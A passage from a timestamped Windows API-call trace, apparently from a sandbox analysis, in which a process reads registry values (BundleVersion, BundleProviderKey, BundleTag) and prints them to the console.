_File=0x7fefd702ab0) returned 0 [0149.599] lstrlenW (lpString="BundleVersion") returned 13 [0149.599] __iob_func () returned 0x7fefd702a80 [0149.599] _fileno (_File=0x7fefd702ab0) returned 1 [0149.599] _errno () returned 0x204bb0 [0149.599] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.599] _errno () returned 0x204bb0 [0149.599] GetFileType (hFile=0x50) returned 0x1 [0149.599] lstrlenW (lpString="BundleVersion") returned 13 [0149.599] GetConsoleOutputCP () returned 0x1b5 [0149.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.599] GetConsoleOutputCP () returned 0x1b5 [0149.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleVersion", lpUsedDefaultChar=0x0) returned 13 [0149.600] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.600] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.600] __iob_func () returned 0x7fefd702a80 [0149.600] _fileno (_File=0x7fefd702ab0) returned 1 [0149.600] _errno () returned 0x204bb0 [0149.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.600] _errno () returned 0x204bb0 [0149.600] GetFileType (hFile=0x50) returned 0x1 [0149.600] lstrlenW (lpString=" ") returned 4 [0149.600] GetConsoleOutputCP () returned 0x1b5 [0149.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.600] GetConsoleOutputCP () returned 0x1b5 [0149.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.600] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.600] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.600] __iob_func () returned 0x7fefd702a80 [0149.600] _fileno (_File=0x7fefd702ab0) returned 1 [0149.600] _errno () returned 0x204bb0 [0149.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.600] _errno () returned 0x204bb0 [0149.600] GetFileType (hFile=0x50) returned 0x1 [0149.600] lstrlenW (lpString="REG_SZ") returned 6 [0149.600] GetConsoleOutputCP () returned 0x1b5 [0149.601] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.601] GetConsoleOutputCP () returned 0x1b5 [0149.601] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.601] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.601] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.601] __iob_func () returned 0x7fefd702a80 [0149.601] _fileno (_File=0x7fefd702ab0) returned 1 [0149.601] _errno () returned 0x204bb0 [0149.601] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.601] _errno () returned 0x204bb0 [0149.601] GetFileType (hFile=0x50) returned 0x1 [0149.601] lstrlenW (lpString=" ") returned 4 [0149.601] GetConsoleOutputCP () returned 0x1b5 [0149.601] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.601] GetConsoleOutputCP () returned 0x1b5 [0149.601] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.601] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.601] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.601] __iob_func () returned 0x7fefd702a80 [0149.601] _fileno (_File=0x7fefd702ab0) returned 1 [0149.601] _errno () returned 0x204bb0 [0149.602] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.602] _errno () returned 0x204bb0 [0149.602] GetFileType (hFile=0x50) returned 0x1 [0149.602] lstrlenW (lpString="12.0.30501.0") returned 12 [0149.602] GetConsoleOutputCP () returned 0x1b5 [0149.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.30501.0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.602] GetConsoleOutputCP () returned 0x1b5 [0149.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.30501.0", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.0.30501.0", lpUsedDefaultChar=0x0) returned 12 [0149.602] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.602] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.602] __iob_func () returned 0x7fefd702a80 [0149.602] _fileno (_File=0x7fefd702ab0) returned 1 [0149.602] _errno () returned 0x204bb0 [0149.602] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.602] _errno () returned 0x204bb0 [0149.602] GetFileType (hFile=0x50) returned 0x1 [0149.602] lstrlenW (lpString="\n") returned 1 [0149.602] GetConsoleOutputCP () returned 0x1b5 [0149.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.602] GetConsoleOutputCP () returned 0x1b5 [0149.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.602] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.603] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.603] GetProcessHeap () returned 0x3c0000 [0149.603] GetProcessHeap () returned 0x3c0000 [0149.603] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.603] GetProcessHeap () returned 0x3c0000 [0149.603] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0149.603] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.603] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleProviderKey", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.603] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x50) returned 0x0 [0149.603] GetProcessHeap () returned 0x3c0000 [0149.603] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x52) returned 0x3db830 [0149.603] GetProcessHeap () returned 0x3c0000 [0149.603] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.603] GetProcessHeap () returned 0x3c0000 [0149.603] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0149.603] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x50 | out: pdwType=0x29f700*=0x1, pvData="{3c3aafc8-d898-43ec-998f-965ffdae065a}", pcbData=0x29f780*=0x4e) returned 0x0 [0149.603] __iob_func () returned 0x7fefd702a80 [0149.603] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.603] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.603] _fileno (_File=0x7fefd702ab0) returned 1 [0149.603] _errno () returned 0x204bb0 [0149.603] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.603] _errno () returned 0x204bb0 [0149.603] GetFileType (hFile=0x50) returned 0x1 [0149.603] lstrlenW (lpString=" ") returned 4 [0149.603] GetConsoleOutputCP () returned 0x1b5 [0149.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.603] GetConsoleOutputCP () returned 0x1b5 [0149.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.604] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.604] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.604] lstrlenW (lpString="BundleProviderKey") returned 17 [0149.604] __iob_func () returned 0x7fefd702a80 [0149.604] _fileno (_File=0x7fefd702ab0) returned 1 [0149.604] _errno () returned 0x204bb0 [0149.604] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.604] _errno () returned 0x204bb0 [0149.604] GetFileType (hFile=0x50) returned 0x1 [0149.604] lstrlenW (lpString="BundleProviderKey") returned 17 [0149.604] GetConsoleOutputCP () returned 0x1b5 [0149.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.604] GetConsoleOutputCP () returned 0x1b5 [0149.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleProviderKey", lpUsedDefaultChar=0x0) returned 17 [0149.604] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0149.604] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.604] __iob_func () returned 0x7fefd702a80 [0149.604] _fileno (_File=0x7fefd702ab0) returned 1 [0149.604] _errno () returned 0x204bb0 [0149.604] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.604] _errno () returned 0x204bb0 [0149.604] GetFileType (hFile=0x50) returned 0x1 [0149.604] lstrlenW (lpString=" ") returned 4 [0149.604] GetConsoleOutputCP () returned 0x1b5 [0149.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.605] GetConsoleOutputCP () returned 0x1b5 [0149.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.605] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.605] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.605] __iob_func () returned 0x7fefd702a80 [0149.605] _fileno (_File=0x7fefd702ab0) returned 1 [0149.605] _errno () returned 0x204bb0 [0149.605] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.605] _errno () returned 0x204bb0 [0149.605] GetFileType (hFile=0x50) returned 0x1 [0149.605] lstrlenW (lpString="REG_SZ") returned 6 [0149.605] GetConsoleOutputCP () returned 0x1b5 [0149.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.605] GetConsoleOutputCP () returned 0x1b5 [0149.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.605] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.605] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.605] __iob_func () returned 0x7fefd702a80 [0149.606] _fileno (_File=0x7fefd702ab0) returned 1 [0149.606] _errno () returned 0x204bb0 [0149.606] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.606] _errno () returned 0x204bb0 [0149.606] GetFileType (hFile=0x50) returned 0x1 [0149.606] lstrlenW (lpString=" ") returned 4 [0149.606] GetConsoleOutputCP () returned 0x1b5 [0149.606] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.606] GetConsoleOutputCP () returned 0x1b5 [0149.606] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.606] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.606] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.606] __iob_func () returned 0x7fefd702a80 [0149.606] _fileno (_File=0x7fefd702ab0) returned 1 [0149.606] _errno () returned 0x204bb0 [0149.606] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.606] _errno () returned 0x204bb0 [0149.606] GetFileType (hFile=0x50) returned 0x1 [0149.606] lstrlenW (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38 [0149.606] GetConsoleOutputCP () returned 0x1b5 [0149.606] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0149.606] GetConsoleOutputCP () returned 0x1b5 [0149.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpUsedDefaultChar=0x0) returned 38 [0149.607] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0149.607] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.607] __iob_func () returned 0x7fefd702a80 [0149.607] _fileno (_File=0x7fefd702ab0) returned 1 [0149.607] _errno () returned 0x204bb0 [0149.607] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.607] _errno () returned 0x204bb0 [0149.607] GetFileType (hFile=0x50) returned 0x1 [0149.607] lstrlenW (lpString="\n") returned 1 [0149.607] GetConsoleOutputCP () returned 0x1b5 [0149.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.607] GetConsoleOutputCP () returned 0x1b5 [0149.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.607] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.607] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.607] GetProcessHeap () returned 0x3c0000 [0149.607] GetProcessHeap () returned 0x3c0000 [0149.607] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.607] GetProcessHeap () returned 0x3c0000 [0149.607] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0149.607] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.607] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleTag", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.607] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2) returned 0x0 [0149.608] GetProcessHeap () returned 0x3c0000 [0149.608] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x4) returned 0x3dee90 [0149.608] GetProcessHeap () returned 0x3c0000 [0149.608] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.608] GetProcessHeap () returned 0x3c0000 [0149.608] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0149.608] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x2 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.608] __iob_func () returned 0x7fefd702a80 [0149.608] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.608] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.608] _fileno (_File=0x7fefd702ab0) returned 1 [0149.608] _errno () returned 0x204bb0 [0149.608] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.608] _errno () returned 0x204bb0 [0149.608] GetFileType (hFile=0x50) returned 0x1 [0149.608] lstrlenW (lpString=" ") returned 4 [0149.608] GetConsoleOutputCP () returned 0x1b5 [0149.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.608] GetConsoleOutputCP () returned 0x1b5 [0149.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.608] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.608] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.608] lstrlenW (lpString="BundleTag") returned 9 [0149.608] __iob_func () returned 0x7fefd702a80 [0149.608] _fileno (_File=0x7fefd702ab0) returned 1 [0149.608] _errno () returned 0x204bb0 [0149.608] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.608] _errno () returned 0x204bb0 [0149.608] GetFileType (hFile=0x50) returned 0x1 [0149.609] lstrlenW (lpString="BundleTag") returned 9 [0149.609] GetConsoleOutputCP () returned 0x1b5 [0149.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.609] GetConsoleOutputCP () returned 0x1b5 [0149.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleTag", lpUsedDefaultChar=0x0) returned 9 [0149.609] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.609] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.609] __iob_func () returned 0x7fefd702a80 [0149.609] _fileno (_File=0x7fefd702ab0) returned 1 [0149.609] _errno () returned 0x204bb0 [0149.609] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.609] _errno () returned 0x204bb0 [0149.609] GetFileType (hFile=0x50) returned 0x1 [0149.609] lstrlenW (lpString=" ") returned 4 [0149.609] GetConsoleOutputCP () returned 0x1b5 [0149.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.609] GetConsoleOutputCP () returned 0x1b5 [0149.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.610] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.610] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.610] __iob_func () returned 0x7fefd702a80 [0149.610] _fileno (_File=0x7fefd702ab0) returned 1 [0149.610] _errno () returned 0x204bb0 [0149.610] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.610] _errno () returned 0x204bb0 [0149.610] GetFileType (hFile=0x50) returned 0x1 [0149.610] lstrlenW (lpString="REG_SZ") returned 6 [0149.610] GetConsoleOutputCP () returned 0x1b5 [0149.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.610] GetConsoleOutputCP () returned 0x1b5 [0149.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.610] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.610] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.610] __iob_func () returned 0x7fefd702a80 [0149.610] _fileno (_File=0x7fefd702ab0) returned 1 [0149.610] _errno () returned 0x204bb0 [0149.610] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.610] _errno () returned 0x204bb0 [0149.610] GetFileType (hFile=0x50) returned 0x1 [0149.610] lstrlenW (lpString=" ") returned 4 [0149.610] GetConsoleOutputCP () returned 0x1b5 [0149.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.611] GetConsoleOutputCP () returned 0x1b5 [0149.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.611] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.611] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.611] __iob_func () returned 0x7fefd702a80 [0149.611] _fileno (_File=0x7fefd702ab0) returned 1 [0149.611] _errno () returned 0x204bb0 [0149.611] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.611] _errno () returned 0x204bb0 [0149.611] GetFileType (hFile=0x50) returned 0x1 [0149.611] lstrlenW (lpString="") returned 0 [0149.611] __iob_func () returned 0x7fefd702a80 [0149.611] _fileno (_File=0x7fefd702ab0) returned 1 [0149.611] _errno () returned 0x204bb0 [0149.611] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.611] _errno () returned 0x204bb0 [0149.611] GetFileType (hFile=0x50) returned 0x1 [0149.611] lstrlenW (lpString="\n") returned 1 [0149.611] GetConsoleOutputCP () returned 0x1b5 [0149.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.611] GetConsoleOutputCP () returned 0x1b5 [0149.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.612] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.612] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.612] GetProcessHeap () returned 0x3c0000 [0149.612] GetProcessHeap () returned 0x3c0000 [0149.612] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.612] GetProcessHeap 